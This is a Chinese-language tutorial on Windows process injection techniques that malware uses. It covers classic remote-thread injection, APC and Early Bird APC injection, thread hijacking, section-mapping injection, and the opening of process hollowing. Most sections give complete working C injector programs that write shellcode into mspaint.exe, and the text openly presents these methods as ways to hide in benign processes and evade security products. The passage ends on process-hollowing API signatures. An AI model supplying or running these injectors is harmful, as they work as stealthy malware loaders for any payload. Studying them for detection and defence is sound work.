代码注入与进程操纵
代码注入是一项恶意软件的常见技术,将恶意代码,如 shellcode,乃至 PE 文件,输入到目标进程,实现提高稳定性以及寄居在看起来良性的进程之中以规避检测。
代码注入的方法有很多,有着各自的优缺点,以及所需的 API 组合,我们接下来一起看看。
代码注入
经典进程注入
首先我们要说的是经典的进程注入。步骤有以下这些:
根据我们需要,通过 PID 或者进程名来指定要注入的进程,我们需要用到 CreateToolhelp32Snapshot 函数创建进程列表的快照。
HANDLE CreateToolhelp32Snapshot(
[in] DWORD dwFlags,
[in] DWORD th32ProcessID
);
配合 Process32First 与 Process32Next 逐个进程枚举,以找到进程名匹配的并返回 PID。
BOOL Process32First(
[in] HANDLE hSnapshot,
[in, out] LPPROCESSENTRY32 lppe
);
BOOL Process32Next(
[in] HANDLE hSnapshot,
[out] LPPROCESSENTRY32 lppe
);
通过 OpenProcess 获得指定进程的句柄,用 VirtualAllocEx 为远程进程分配空间。
HANDLE OpenProcess(
[in] DWORD dwDesiredAccess,
[in] BOOL bInheritHandle,
[in] DWORD dwProcessId
);
LPVOID VirtualAllocEx(
[in] HANDLE hProcess,
[in, optional] LPVOID lpAddress,
[in] SIZE_T dwSize,
[in] DWORD flAllocationType,
[in] DWORD flProtect
);
接着,使用 WriteProcessMemory 为分配的空间写入 shellcode。
BOOL WriteProcessMemory(
[in] HANDLE hProcess,
[in] LPVOID lpBaseAddress,
[in] LPCVOID lpBuffer,
[in] SIZE_T nSize,
[out] SIZE_T *lpNumberOfBytesWritten
);
之后,使用 CreateRemoteThread 函数创建远程的线程。
HANDLE CreateRemoteThread(
[in] HANDLE hProcess,
[in] LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in] SIZE_T dwStackSize,
[in] LPTHREAD_START_ROUTINE lpStartAddress,
[in] LPVOID lpParameter,
[in] DWORD dwCreationFlags,
[out] LPDWORD lpThreadId
);
代码如下:
#include "Windows.h"
#include <stdio.h>
#include <TlHelp32.h>
unsigned char shellcode[] = "\x48\x31\xd2\x65\x48\x8b\x42\x60\x48\x8b\x70\x18\x48\x8b\x76\x20\x4c\x8b\x0e\x4d\x8b\x09\x4d\x8b\x49\x20\xeb\x63\x41\x8b\x49\x3c\x4d\x31\xff\x41\xb7\x88\x4d\x01\xcf\x49\x01\xcf\x45\x8b\x3f\x4d\x01\xcf\x41\x8b\x4f\x18\x45\x8b\x77\x20\x4d\x01\xce\xe3\x3f\xff\xc9\x48\x31\xf6\x41\x8b\x34\x8e\x4c\x01\xce\x48\x31\xc0\x48\x31\xd2\xfc\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x44\x39\xc2\x75\xda\x45\x8b\x57\x24\x4d\x01\xca\x41\x0f\xb7\x0c\x4a\x45\x8b\x5f\x1c\x4d\x01\xcb\x41\x8b\x04\x8b\x4c\x01\xc8\xc3\xc3\x41\xb8\x98\xfe\x8a\x0e\xe8\x92\xff\xff\xff\x48\x31\xc9\x51\x48\xb9\x63\x61\x6c\x63\x2e\x65\x78\x65\x51\x48\x8d\x0c\x24\x48\x31\xd2\x48\xff\xc2\x48\x83\xec\x28\xff\xd0";
int main() {
HANDLE processHandle;
HANDLE remoteThread;
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0);
if (snapshot == INVALID_HANDLE_VALUE) {
printf("Failed to create snapshot. Error: %lu\n", GetLastError());
return 1;
}
PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) };
if (!Process32First(snapshot, &processEntry)) {
printf("Process32First failed. Error: %lu\n", GetLastError());
return 1;
}
BOOL processFound = FALSE;
while (TRUE) {
if (_wcsicmp(processEntry.szExeFile, L"mspaint.exe") == 0) {
processFound = TRUE;
break;
}
if (!Process32Next(snapshot, &processEntry)) {
if (GetLastError() != ERROR_NO_MORE_FILES) {
printf("Process32Next failed. Error: %lu\n", GetLastError());
}
break;
}
}
if (!processFound) {
printf("Target process not found.\n");
return 1;
}
processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processEntry.th32ProcessID);
if (processHandle == NULL) {
printf("Failed to open target process. Error: %lu\n", GetLastError());
return 1;
}
PVOID remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof(shellcode), (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
if (remoteBuffer == NULL) {
printf("VirtualAllocEx failed. Error: %lu\n", GetLastError());
return 1;
}
SIZE_T bytesWritten;
if (!WriteProcessMemory(processHandle, remoteBuffer, shellcode, sizeof(shellcode), &bytesWritten)) {
printf("WriteProcessMemory failed. Error: %lu\n", GetLastError());
return 1;
}
remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
if (remoteThread == NULL) {
printf("CreateRemoteThread failed. Error: %lu\n", GetLastError());
return 1;
}
printf("Injection successful.\n");
return 0;
}
运行结果:
APC 队列注入
异步过程调用 (APC) 是 Windows 操作系统提供的一种机制,允许程序异步执行任务,从而促进程序内的并发操作。 它们在特定线程的上下文中作为内核模式例程执行,从而实现任务执行与主程序流的分离。这种机制对于需要执行后台任务同时继续其他操作的程序特别有用。
进程中的每个线程都有自己的 APC 队列,其中可以存储 APC,等待执行。应用程序可以利用 QueueUserAPC 函数将 APC 排队到特定线程,需要将 APC 函数的地址作为参数传递。该函数允许调用者指定 APC 应该排队的线程。
DWORD QueueUserAPC(
[in] PAPCFUNC pfnAPC,
[in] HANDLE hThread,
[in] ULONG_PTR dwData
);
然而,并非所有线程都能够立即执行排队的 APC。 只有处于可警报状态(一种特殊的等待状态) 的线程才能处理排队的 APC 函数。当线程进入可警报状态时,它会被添加到可警报线程队列中,使其有资格运行 APC。
APC 注入是一种利用此机制的进程注入技术,它涉及对 APC 进行排队,以便在另一个线程的上下文中异步执行载荷。为了实现这一点,注入的 shellcode 的地址被传递给 QueueUserAPC 函数,目的是当线程进入可警报状态时执行它,例如当它处于睡眠模式或等待事件时(如使用 SleepEx)。
使用此注入技术的限制之一是攻击者无法直接强制目标线程立即执行注入的代码。APC 注入的成功取决于目标线程进入可警报状态,这可能需要满足特定条件或在受害者系统上执行操作。尽管存在这种限制,APC 注入仍然是在另一个进程的上下文中执行恶意代码的有效技术。
知道相关的背景知识后,我们来看一下 APC 注入所需的步骤。
- 给定进程名,返回第一个找到的进程的 PID,使用的是 CreateToolhelp32Snapshot,Process32First 以及 Process32Next 函数。
- 使用 OpenProcess 根据 PID 获得目标进程的句柄,调用 VirtualAllocEx 为其分配写入 shellcode 的内存空间。
- 让 APC 函数指向分配的空间(之后写入shellcode),使用 WriteProcessMemory 向分配的空间写入 shellcode。
- 使用 Thread32First 逐个枚举进程里的线程,对于每个线程,使用 OpenThread 获得句柄并调用 QueueUserAPC 将 APC 排队到线程中。
- 当目标进程中的线程被调度时,我们的 shellcode 就会被执行
#include <stdio.h>
#include <windows.h>
#include <TlHelp32.h>
#include <stdlib.h>
int main() {
unsigned char shellcode[] = "\x48\x31\xd2\x65\x48\x8b\x42\x60\x48\x8b\x70\x18\x48\x8b\x76\x20\x4c\x8b\x0e\x4d\x8b\x09\x4d\x8b\x49\x20\xeb\x63\x41\x8b\x49\x3c\x4d\x31\xff\x41\xb7\x88\x4d\x01\xcf\x49\x01\xcf\x45\x8b\x3f\x4d\x01\xcf\x41\x8b\x4f\x18\x45\x8b\x77\x20\x4d\x01\xce\xe3\x3f\xff\xc9\x48\x31\xf6\x41\x8b\x34\x8e\x4c\x01\xce\x48\x31\xc0\x48\x31\xd2\xfc\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x44\x39\xc2\x75\xda\x45\x8b\x57\x24\x4d\x01\xca\x41\x0f\xb7\x0c\x4a\x45\x8b\x5f\x1c\x4d\x01\xcb\x41\x8b\x04\x8b\x4c\x01\xc8\xc3\xc3\x41\xb8\x98\xfe\x8a\x0e\xe8\x92\xff\xff\xff\x48\x31\xc9\x51\x48\xb9\x63\x61\x6c\x63\x2e\x65\x78\x65\x51\x48\x8d\x0c\x24\x48\x31\xd2\x48\xff\xc2\x48\x83\xec\x28\xff\xd0";
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0);
if (snapshot == INVALID_HANDLE_VALUE) {
printf("Failed to create snapshot. Error: %lu\n", GetLastError());
return 1;
}
HANDLE victimProcess = NULL;
PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) };
THREADENTRY32 threadEntry = { sizeof(THREADENTRY32) };
DWORD threadIds[1024];
int threadCount = 0;
SIZE_T shellSize = sizeof(shellcode);
HANDLE threadHandle = NULL;
if (Process32First(snapshot, &processEntry)) {
while (_wcsicmp(processEntry.szExeFile, L"mspaint.exe") != 0 && Process32Next(snapshot, &processEntry));
if (_wcsicmp(processEntry.szExeFile, L"mspaint.exe") != 0) {
printf("Failed to find explorer.exe.\n");
return 1;
}
}
victimProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processEntry.th32ProcessID);
if (!victimProcess) {
printf("Failed to open target process. Error: %lu\n", GetLastError());
return 1;
}
LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!shellAddress) {
printf("Failed to allocate memory in target process. Error: %lu\n", GetLastError());
return 1;
}
if (!WriteProcessMemory(victimProcess, shellAddress, shellcode, shellSize, NULL)) {
printf("Failed to write shellcode to target process. Error: %lu\n", GetLastError());
return 1;
}
PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;
if (Thread32First(snapshot, &threadEntry)) {
do {
if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID) {
if (threadCount < 1024) {
threadIds[threadCount++] = threadEntry.th32ThreadID;
}
}
} while (Thread32Next(snapshot, &threadEntry));
}
for (int i = 0; i < threadCount; i++) {
threadHandle = OpenThread(THREAD_ALL_ACCESS, FALSE, threadIds[i]);
QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);
Sleep(2000);
}
return 0;
}
在等待一小段时间之后,shellcode 便被执行了。
早鸟 APC 队列注入
APC 进程注入需要挂起或可警报线程才能成功执行 shellcode。但是,很难遇到处于这些状态的线程,尤其是在正常用户权限下运行的线程。解决方案的话,是使用 CreateProcessA 创建一个挂起的进程,并使用其挂起线程的句柄。挂起的线程满足 APC 进程注入中使用的标准。这种方法被称为早鸟 APC 队列注入。与常规 APC 队列注入技术相比,该技术的主要优点之一是,在早鸟技术中,恶意行为发生在进程初始化阶段的早期,降低了被安全产品检测的可能性。
早鸟 APC 队列注入的步骤如下:
- 创建一个挂起的进程,通过调用 CreateProcessA 函数并指定进程的状态为 CREATE_SUSPENDED
- 使用 VirtualAllocEx 为该进程分配空间
- 使 APC 例程指向分配的内存
- 通过调用 WriteProcessMemory 函数将 shellcode 写入分配的内存中
- 调用 QueueUserAPC 函数将 APC 排队到主线程
- 调用 ResumeThread 继续线程的运行,shellcode 得以执行
#include <stdio.h>
#include <windows.h>
#pragma comment(lib, "ntdll")
unsigned char shellcode[] = "\x48\x31\xd2\x65\x48\x8b\x42\x60\x48\x8b\x70\x18\x48\x8b\x76\x20\x4c\x8b\x0e\x4d\x8b\x09\x4d\x8b\x49\x20\xeb\x63\x41\x8b\x49\x3c\x4d\x31\xff\x41\xb7\x88\x4d\x01\xcf\x49\x01\xcf\x45\x8b\x3f\x4d\x01\xcf\x41\x8b\x4f\x18\x45\x8b\x77\x20\x4d\x01\xce\xe3\x3f\xff\xc9\x48\x31\xf6\x41\x8b\x34\x8e\x4c\x01\xce\x48\x31\xc0\x48\x31\xd2\xfc\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x44\x39\xc2\x75\xda\x45\x8b\x57\x24\x4d\x01\xca\x41\x0f\xb7\x0c\x4a\x45\x8b\x5f\x1c\x4d\x01\xcb\x41\x8b\x04\x8b\x4c\x01\xc8\xc3\xc3\x41\xb8\x98\xfe\x8a\x0e\xe8\x92\xff\xff\xff\x48\x31\xc9\x51\x48\xb9\x63\x61\x6c\x63\x2e\x65\x78\x65\x51\x48\x8d\x0c\x24\x48\x31\xd2\x48\xff\xc2\x48\x83\xec\x28\xff\xd0";
int main() {
SIZE_T shellSize = sizeof(shellcode);
STARTUPINFOA si = { 0 };
PROCESS_INFORMATION pi = { 0 };
if (!CreateProcessA("C:\\Windows\\System32\\mspaint.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
printf("CreateProcess failed with error %lu\n", GetLastError());
return 1;
}
HANDLE victimProcess = pi.hProcess;
HANDLE threadHandle = pi.hThread;
LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (shellAddress == NULL) {
printf("VirtualAllocEx failed with error %lu\n", GetLastError());
return 1;
}
if (!WriteProcessMemory(victimProcess, shellAddress, shellcode, shellSize, NULL)) {
printf("WriteProcessMemory failed with error %lu\n", GetLastError());
return 1;
}
if (QueueUserAPC((PAPCFUNC)shellAddress, threadHandle, NULL) == 0) {
printf("QueueUserAPC failed with error %lu\n", GetLastError());
return 1;
}
if (ResumeThread(threadHandle) == (DWORD)-1) {
printf("ResumeThread failed with error %lu\n", GetLastError());
return 1;
}
printf("Shellcode injected successfully.\n");
CloseHandle(threadHandle);
CloseHandle(victimProcess);
return 0;
}
这样,我们便成功执行了 shellcode:
线程劫持
进程线程劫持是一种不创建新的线程便能执行 shellcode 的代码注入技术,通过挂起线程并更新 RIP 的指向实现。这样,当线程继续执行时,指令执行流程便跳转到了 shellcode 的开头。
实现线程劫持,有如下的步骤:
- 指定 PID 或者进程名,并用 OpenProcess 获得目标进程的句柄
- 使用 VirtualAllocEx 为目标进程分配空间用于存储 shellcode
- 使用 WriteProcessMemory 将 shellcode 写入分配空间内
- 指定线程 ID,并获得其句柄。这里,我们通过 CreateToolhelp32Snapshot,Thread32First,Thread32Next 等函数获得第一个找到的线程
- 通过 OpenThread 获得对该线程的句柄,并调用 SuspendThread 函数挂起线程
- 通过 GetThreadContext 获得上下文结构体,修改 RIP 地址使其指向 shellcode
- 使用 SetThreadContext 更改上下文结构体,并通过 ResumeThread 继续线程的执行
除了之前我们提到过以及与之相似的 API,我们来聊一聊线程的上下文。GetThreadContext 与 SetThreadConext 分别用于获得与提交线程的上下文。线程上下文包含了线程继续执行所需的各种信息。
BOOL GetThreadContext(
[in] HANDLE hThread,
[in, out] LPCONTEXT lpContext
);
BOOL SetThreadContext(
[in] HANDLE hThread,
[in] const CONTEXT *lpContext
);
上下文结构体 CONTEXT 包含了处理器特定的寄存器数据。系统使用上下文结构体来执行各种内部的操作:
typedef struct _CONTEXT {
DWORD64 P1Home;
DWORD64 P2Home;
DWORD64 P3Home;
DWORD64 P4Home;
DWORD64 P5Home;
DWORD64 P6Home;
DWORD ContextFlags;
DWORD MxCsr;
WORD SegCs;
WORD SegDs;
WORD SegEs;
WORD SegFs;
WORD SegGs;
WORD SegSs;
DWORD EFlags;
DWORD64 Dr0;
DWORD64 Dr1;
DWORD64 Dr2;
DWORD64 Dr3;
DWORD64 Dr6;
DWORD64 Dr7;
DWORD64 Rax;
DWORD64 Rcx;
DWORD64 Rdx;
DWORD64 Rbx;
DWORD64 Rsp;
DWORD64 Rbp;
DWORD64 Rsi;
DWORD64 Rdi;
DWORD64 R8;
DWORD64 R9;
DWORD64 R10;
DWORD64 R11;
DWORD64 R12;
DWORD64 R13;
DWORD64 R14;
DWORD64 R15;
DWORD64 Rip;
union {
XMM_SAVE_AREA32 FltSave;
NEON128 Q[16];
ULONGLONG D[32];
struct {
M128A Header[2];
M128A Legacy[8];
M128A Xmm0;
M128A Xmm1;
M128A Xmm2;
M128A Xmm3;
M128A Xmm4;
M128A Xmm5;
M128A Xmm6;
M128A Xmm7;
M128A Xmm8;
M128A Xmm9;
M128A Xmm10;
M128A Xmm11;
M128A Xmm12;
M128A Xmm13;
M128A Xmm14;
M128A Xmm15;
} DUMMYSTRUCTNAME;
DWORD S[32];
} DUMMYUNIONNAME;
M128A VectorRegister[26];
DWORD64 VectorControl;
DWORD64 DebugControl;
DWORD64 LastBranchToRip;
DWORD64 LastBranchFromRip;
DWORD64 LastExceptionToRip;
DWORD64 LastExceptionFromRip;
} CONTEXT, *PCONTEXT;
有了这些理解,那么可以构造出如下代码:
#include <stdio.h>
#include <Windows.h>
#include <TlHelp32.h>
int main() {
unsigned char shellcode[] = "\x48\x31\xd2\x65\x48\x8b\x42\x60\x48\x8b\x70\x18\x48\x8b\x76\x20\x4c\x8b\x0e\x4d\x8b\x09\x4d\x8b\x49\x20\xeb\x63\x41\x8b\x49\x3c\x4d\x31\xff\x41\xb7\x88\x4d\x01\xcf\x49\x01\xcf\x45\x8b\x3f\x4d\x01\xcf\x41\x8b\x4f\x18\x45\x8b\x77\x20\x4d\x01\xce\xe3\x3f\xff\xc9\x48\x31\xf6\x41\x8b\x34\x8e\x4c\x01\xce\x48\x31\xc0\x48\x31\xd2\xfc\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x44\x39\xc2\x75\xda\x45\x8b\x57\x24\x4d\x01\xca\x41\x0f\xb7\x0c\x4a\x45\x8b\x5f\x1c\x4d\x01\xcb\x41\x8b\x04\x8b\x4c\x01\xc8\xc3\xc3\x41\xb8\x98\xfe\x8a\x0e\xe8\x92\xff\xff\xff\x48\x31\xc9\x51\x48\xb9\x63\x61\x6c\x63\x2e\x65\x78\x65\x51\x48\x8d\x0c\x24\x48\x31\xd2\x48\xff\xc2\x48\x83\xec\x28\xff\xd0";
HANDLE targetProcessHandle;
PVOID remoteBuffer;
HANDLE threadHijacked = NULL;
HANDLE snapshot;
PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) };
THREADENTRY32 threadEntry = { sizeof(THREADENTRY32) };
CONTEXT context;
context.ContextFlags = CONTEXT_FULL;
snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0);
if (snapshot == INVALID_HANDLE_VALUE) {
printf("Failed to create snapshot. Error: %lu\n", GetLastError());
return 1;
}
if (!Process32First(snapshot, &processEntry)) {
printf("Process32First failed. Error: %lu\n", GetLastError());
return 1;
}
BOOL processFound = FALSE;
do {
if (_wcsicmp(processEntry.szExeFile, L"mspaint.exe") == 0) {
processFound = TRUE;
break;
}
} while (Process32Next(snapshot, &processEntry));
if (!processFound) {
printf("Target process not found.\n");
return 1;
}
targetProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processEntry.th32ProcessID);
if (!targetProcessHandle) {
printf("Failed to open target process. Error: %lu\n", GetLastError());
return 1;
}
remoteBuffer = VirtualAllocEx(targetProcessHandle, NULL, sizeof(shellcode), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!remoteBuffer) {
printf("VirtualAllocEx failed. Error: %lu\n", GetLastError());
return 1;
}
if (!WriteProcessMemory(targetProcessHandle, remoteBuffer, shellcode, sizeof(shellcode), NULL)) {
printf("WriteProcessMemory failed. Error: %lu\n", GetLastError());
return 1;
}
if (!Thread32First(snapshot, &threadEntry)) {
printf("Thread32First failed. Error: %lu\n", GetLastError());
return 1;
}
BOOL threadFound = FALSE;
do {
if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID) {
threadHijacked = OpenThread(THREAD_ALL_ACCESS, FALSE, threadEntry.th32ThreadID);
if (threadHijacked != NULL) {
threadFound = TRUE;
break;
}
}
} while (Thread32Next(snapshot, &threadEntry));
if (!threadFound) {
printf("Failed to find or open any thread in target process.\n");
return 1;
}
if (SuspendThread(threadHijacked) == (DWORD)-1) {
printf("SuspendThread failed. Error: %lu\n", GetLastError());
return 1;
}
if (!GetThreadContext(threadHijacked, &context)) {
printf("GetThreadContext failed. Error: %lu\n", GetLastError());
return 1;
}
context.Rip = (DWORD_PTR)remoteBuffer;
if (!SetThreadContext(threadHijacked, &context)) {
printf("SetThreadContext failed. Error: %lu\n", GetLastError());
return 1;
}
if (ResumeThread(threadHijacked) == (DWORD)-1) {
printf("ResumeThread failed. Error: %lu\n", GetLastError());
return 1;
}
printf("Shellcode injection and thread hijack successful.\n");
return 0;
}
运行结果:
NtCreateSection 与 NtMapViewOfSection 代码注入
使用 NtCreateSection 与 NtMapViewOfSection 也可以实现进程注入,这里面用到了内存区节对象(section object)与视图(view) 的概念。区节对象表示可以被共享的内存区节,一个进程可以使用区节对象与其他进程共享它的部分内存空间。区节对象还提供了进程将文件映射到其内存空间的机制。
每个内存区节有着一个或多个对应的视图,节区的视图是对进程可见的区节的一部分。为区节创建视图被称为映射区节的视图。每个对区节的内容进行操作的进程都有着自己的视图,一个进程可以有着多个视图(对相同或不同的区节)。
综上,也就是说,如果要使进程能对区节进行读写操作,该进程需要为区节映射一个视图。多个进程可以通过映射的视图对区节进行读写。
其中,我们可以使用 NTAPI NtCreateSection 来创建一个区节:
__kernel_entry NTSYSCALLAPI NTSTATUS NtCreateSection(
[out] PHANDLE SectionHandle,
[in] ACCESS_MASK DesiredAccess,
[in, optional] POBJECT_ATTRIBUTES ObjectAttributes,
[in, optional] PLARGE_INTEGER MaximumSize,
[in] ULONG SectionPageProtection,
[in] ULONG AllocationAttributes,
[in, optional] HANDLE FileHandle
);
NtMapViewOfSection 用于映射区节的指定部分至进程内存中。因为是 NTAPI,所以微软并没有对该 API 的官方文档。
NtMapViewOfSection(
_In_ HANDLE SectionHandle,
_In_ HANDLE ProcessHandle,
_Inout_ _At_(*BaseAddress, _Readable_bytes_(*ViewSize) _Writable_bytes_(*ViewSize) _Post_readable_byte_size_(*ViewSize)) PVOID *BaseAddress,
_In_ ULONG_PTR ZeroBits,
_In_ SIZE_T CommitSize,
_Inout_opt_ PLARGE_INTEGER SectionOffset,
_Inout_ PSIZE_T ViewSize,
_In_ SECTION_INHERIT InheritDisposition,
_In_ ULONG AllocationType,
_In_ ULONG Win32Protect
);
RtlCreateUserThread 用于创建远程进程的线程,也是 NTAPI:
RtlCreateUserThread(
IN HANDLE ProcessHandle,
IN PSECURITY_DESCRIPTOR SecurityDescriptor OPTIONAL,
IN BOOLEAN CreateSuspended,
IN ULONG StackZeroBits,
IN OUT PULONG StackReserved,
IN OUT PULONG StackCommit,
IN PVOID StartAddress,
IN PVOID StartParameter OPTIONAL,
OUT PHANDLE ThreadHandle,
OUT PCLIENT_ID ClientID
);
了解这些概念之后,我们来了解一下该注入方式的步骤:
- 通过 NtCreateSection 创建 RWX 权限的
区节 - 通过 NtMapViewOfSection 映射
区节至本地进程,赋予 RW 权限 - 通过 NtMapViewOfSection 映射
区节至目标进程,赋予 RX 权限 - 通过 memcpy 或类似函数将 shellcode 填入
区节,这样目标进程映射的视图里也是盛放着 shellcode - 使用 RtlCreateUserThread 为远程进程创建线程,指向映射的视图触发 shellcode 执行
#include <stdio.h>
#include <Windows.h>
#include <TlHelp32.h>
unsigned char shellcode[] = "\x48\x31\xd2\x65\x48\x8b\x42\x60\x48\x8b\x70\x18\x48\x8b\x76\x20\x4c\x8b\x0e\x4d\x8b\x09\x4d\x8b\x49\x20\xeb\x63\x41\x8b\x49\x3c\x4d\x31\xff\x41\xb7\x88\x4d\x01\xcf\x49\x01\xcf\x45\x8b\x3f\x4d\x01\xcf\x41\x8b\x4f\x18\x45\x8b\x77\x20\x4d\x01\xce\xe3\x3f\xff\xc9\x48\x31\xf6\x41\x8b\x34\x8e\x4c\x01\xce\x48\x31\xc0\x48\x31\xd2\xfc\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x44\x39\xc2\x75\xda\x45\x8b\x57\x24\x4d\x01\xca\x41\x0f\xb7\x0c\x4a\x45\x8b\x5f\x1c\x4d\x01\xcb\x41\x8b\x04\x8b\x4c\x01\xc8\xc3\xc3\x41\xb8\x98\xfe\x8a\x0e\xe8\x92\xff\xff\xff\x48\x31\xc9\x51\x48\xb9\x63\x61\x6c\x63\x2e\x65\x78\x65\x51\x48\x8d\x0c\x24\x48\x31\xd2\x48\xff\xc2\x48\x83\xec\x28\xff\xd0";
typedef struct _LSA_UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING, * PUNICODE_STRING;
typedef struct _OBJECT_ATTRIBUTES { ULONG Length; HANDLE RootDirectory; PUNICODE_STRING ObjectName; ULONG Attributes; PVOID SecurityDescriptor; PVOID SecurityQualityOfService; } OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
typedef struct _CLIENT_ID { PVOID UniqueProcess; PVOID UniqueThread; } CLIENT_ID, * PCLIENT_ID;
using NtCreateSection = NTSTATUS(NTAPI*)(OUT PHANDLE SectionHandle, IN ULONG DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, IN PLARGE_INTEGER MaximumSize OPTIONAL, IN ULONG PageAttributess, IN ULONG SectionAttributes, IN HANDLE FileHandle OPTIONAL);
using NtMapViewOfSection = NTSTATUS(NTAPI*)(HANDLE SectionHandle, HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, SIZE_T CommitSize, PLARGE_INTEGER SectionOffset, PSIZE_T ViewSize, DWORD InheritDisposition, ULONG AllocationType, ULONG Win32Protect);
using RtlCreateUserThread = NTSTATUS(NTAPI*)(IN HANDLE ProcessHandle, IN PSECURITY_DESCRIPTOR SecurityDescriptor OPTIONAL, IN BOOLEAN CreateSuspended, IN ULONG StackZeroBits, IN OUT PULONG StackReserved, IN OUT PULONG StackCommit, IN PVOID StartAddress, IN PVOID StartParameter OPTIONAL, OUT PHANDLE ThreadHandle, OUT PCLIENT_ID ClientID);
int main() {
NtCreateSection pNtCreateSection = (NtCreateSection)GetProcAddress(GetModuleHandleA("ntdll"), "NtCreateSection");
NtMapViewOfSection pNtMapViewOfSection = (NtMapViewOfSection)GetProcAddress(GetModuleHandleA("ntdll"), "NtMapViewOfSection");
RtlCreateUserThread pRtlCreateUserThread = (RtlCreateUserThread)GetProcAddress(GetModuleHandleA("ntdll"), "RtlCreateUserThread");
if (!pNtCreateSection || !pNtMapViewOfSection || !pRtlCreateUserThread) {
printf("Failed to retrieve function addresses.\n");
return 1;
}
SIZE_T size = 4096;
LARGE_INTEGER sectionSize = { size };
HANDLE sectionHandle = NULL;
PVOID localSectionAddress = NULL, remoteSectionAddress = NULL;
PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) };
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snapshot == INVALID_HANDLE_VALUE) {
printf("CreateToolhelp32Snapshot failed. Error: %lu\n", GetLastError());
return 1;
}
BOOL processFound = FALSE;
if (Process32First(snapshot, &processEntry)) {
do {
if (_wcsicmp(processEntry.szExeFile, L"mspaint.exe") == 0) {
processFound = TRUE;
break;
}
} while (Process32Next(snapshot, &processEntry));
}
if (!processFound) {
printf("Target process not found.\n");
return 1;
}
NTSTATUS status;
status = pNtCreateSection(§ionHandle, SECTION_MAP_READ | SECTION_MAP_WRITE | SECTION_MAP_EXECUTE, NULL, §ionSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL);
if (status != 0) {
printf("NtCreateSection failed. Status: 0x%x\n", status);
return 1;
}
status = pNtMapViewOfSection(sectionHandle, GetCurrentProcess(), &localSectionAddress, 0, 0, NULL, &size, 2, 0, PAGE_READWRITE);
if (status != 0) {
printf("NtMapViewOfSection (local) failed. Status: 0x%x\n", status);
return 1;
}
HANDLE targetHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processEntry.th32ProcessID);
if (targetHandle == NULL) {
printf("OpenProcess failed. Error: %lu\n", GetLastError());
return 1;
}
status = pNtMapViewOfSection(sectionHandle, targetHandle, &remoteSectionAddress, 0, 0, NULL, &size, 2, 0, PAGE_EXECUTE_READ);
if (status != 0) {
printf("NtMapViewOfSection (remote) failed. Status: 0x%x\n", status);
return 1;
}
memcpy(localSectionAddress, shellcode, sizeof(shellcode));
HANDLE targetThreadHandle = NULL;
status = pRtlCreateUserThread(targetHandle, NULL, FALSE, 0, 0, 0, remoteSectionAddress, NULL, &targetThreadHandle, NULL);
if (status != 0) {
printf("RtlCreateUserThread failed. Status: 0x%x\n", status);
}
else {
printf("Shellcode injected successfully.\n");
}
return 0;
}
运行结果:
进程注空
进程注空(Process Hollowing),也是一种代码注入技术。巧妙的是,我们不需要额外分配存放 shellcode 的内存空间,而是覆盖进程主模块的代码区域。我们之前学过 PE 结构,我们知道可执行代码存在于 .text 节,程序的入口,通常是 main 函数,即首先被执行。倘若我们用 shellcode 覆盖程序入口开始的代码,那么便可披着良性进程的外衣,实际却在执行 shellcode。
这项技术的步骤如下:
- 调用 CreateProcessA 以挂起状态创建一个新的进程
- 通过 NtQueryInformationProcess 查询进程相关信息,例如 PEB 地址。
- 通过 ReadProcessMemory 读取解析 PE 的所需数据,利用解析 PE 结构的方法,最终获得主模块入口地址
- 使用 WriteProcessMemory 将 shellcode 写入程序入口处
- 调用 ResumeThread 继续线程的执行
NtQueryInformationProcess 也是个 NTAPI,其函数定义如下:
__kernel_entry NTSTATUS NtQueryInformationProcess(
[in] HANDLE ProcessHandle,
[in] PROCESSINFOCLASS ProcessInformationClass,
[out] PVOID ProcessInformation,
[in] ULONG ProcessInformationLength,
[out, optional] PULONG ReturnLength
);
ReadProcessMemory 用于读取给定范围内的内存:
BOOL ReadProcessMemory(
[in] HANDLE hProcess,
[in] LPCVOID lpBaseAddress,
[out] LPVOID lpBuffer,
[in] SIZE_T nSize,
[out] SIZE_T *lpNumberOfBytesRead
);
